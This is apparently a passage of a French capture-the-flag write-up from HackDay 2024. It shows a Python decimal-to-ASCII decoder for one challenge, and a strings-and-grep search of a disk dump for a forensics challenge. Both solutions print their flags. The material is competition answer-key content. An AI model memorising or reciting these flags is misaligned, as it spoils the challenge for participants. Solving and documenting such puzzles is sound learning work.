```

On peut donc faire ce code python pour résoudre ce challenge :

```
def remove_F_and_convert_to_ascii(input_strings):
    result = []

    for string_with_F in input_strings:
        # Supprimer la lettre 'F'
        #string_without_F = string_with_F[1:]

        # Convertir le reste en chiffre décimal
        #decimal_value = int(string_without_F, 16)

        # Convertir le chiffre en lettre ASCII
        ascii_character = chr(int(string_with_F))

        # Ajouter le résultat à la liste
        result.append(ascii_character)

    return result

# Liste des chaînes avec 'F'
```



```
input_strings = [
    "72", "65", "67", "75", "68",
    "65", "89", "123", "80", "114",
    "51", "83", "115", "95", "70",
    "95", "55", "79", "95", "112",
    "114", "65", "89", "125"
]

# Appel de la fonction
output_result = remove_F_and_convert_to_ascii(input_strings)

# Afficher le résultat
print(output_result)
flag = ""
for res in output_result:
    flag = flag + res
print(flag)
```

Ce qui nous donne :

```
HACKDAY{Pr3Ss_F_70_prAY}
```

Find the traces (AKA la fraude)

Challenge

61 Solves



FIND THE TRACES

100

isnubi

Un ensemble de fichier du Syndicat a été récupéré et on sait qu'une partie importante manque à l'arborescence de données car elle a été volé mais on sait pas quel fichier et par qui. Retrouver dans ces données le flag associé au fichier recherché.

sha256:

7b8b746050a7db026a8acececeeeea0837a4f02d0a2d8c00be
2ec5859e2b45664

A set of Syndicat files was recovered and we know that a significant part is missing from the data tree because it was stolen but we do not know which file and by who. Find in this data the flag associated with the file sought.

sha256:

7b8b746050a7db026a8acececeeeea0837a4f02d0a2d8c00be
2ec5859e2b45664

<https://hackday.s3.rbx.io.cloud.ovh.net/Buckets/dump.dd>

Flag

Submit

Dans ce challenge on nous donne un fichier de 1 Go qui est un dump de machine linux.

J'ai fais juste le truc le plus simple du monde :

```
(kali@kali)-[~/Hackday_2024/Forensics/traces]
$ strings dump.dd | grep "HACKDAY*"
HACKDAY{H4Wks_w@$_H3Re}
```

Bon baaaaah 1 Go pour ça